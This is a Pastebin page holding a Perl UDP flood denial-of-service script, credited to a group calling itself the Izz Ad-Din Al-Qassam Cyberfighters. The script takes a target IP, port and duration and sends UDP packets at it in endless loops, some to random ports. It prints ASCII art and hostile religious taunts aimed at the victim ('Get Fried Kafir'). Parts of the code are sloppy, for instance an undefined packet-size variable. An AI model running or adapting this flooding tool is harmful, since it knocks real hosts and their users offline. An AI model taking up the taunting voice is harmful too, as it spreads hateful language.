iViiRuS

Al Qassam VPS UDP DoS Script * Perl *

May 11th, 2014
861
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9. printf "
  10.   |            
  11.  / \                                                            
  12. /   \                                              
  13. (_____)                                            
  14. |   | +___________________________________+      
  15. |   |     ____________________________    |              
  16. |   | |  |                            |   |                      
  17. |   | |  |                            |   |      
  18. |   | |  |                            | O |    
  19. |   | |  |                            | O |      
  20. |   | |  |____________________________|   |      
  21. |___|    _____________________________________                          
  22.     +--| \ [][][][][][][][][][][][][] [][][]  \
  23.           \ [][][][][][][][][][][][]  [][][]  \
  24.            \ __________________________________\
  25.              ____________________________________|
  26. ";
  27.  
  28. printf "UDP DoS Script ";
  29. printf "Coded by Sheikh ";
  30. printf "Izz Ad-Din Al-Qassam Cyberfighters";
  31.  
  32. }
  33.  
  34. my ($ip,$port,$size,$time);
  35. $ip=$ARGV[0];
  36. $port=$ARGV[1];
  37. $time=$ARGV[2];
  38.  
  39. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  40. $iaddr = inet_aton("$ip");
  41.  
  42. print <<EOTEXT;
  43. Izz Ad-Din Al-Qassam cyberfighters
  44. Get Fried Kafir
  45. EOTEXT
  46. printf "~You are getting fried Kafir!~ $ip on port $portn";
  47.  
  48. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  49. goto randpackets;
  50. }
  51. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  52. system("(sleep $time;killall -9 udp) &");
  53. goto packets;
  54. }
  55. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  56. goto packets;
  57. }
  58. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  59. system("(sleep $time;killall -9 udp) &");
  60. goto randpackets;
  61. }
  62.  
  63. packets:
  64. for (;;) {
  65. $size=$rand x $rand x $rand;
  66. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  67. }
  68.  
  69. randpackets:
  70. for (;;) {
  71. $size=int(rand(1500000-64)+64) ;
  72. $port=int(rand 65000) +1;
  73. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  74. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×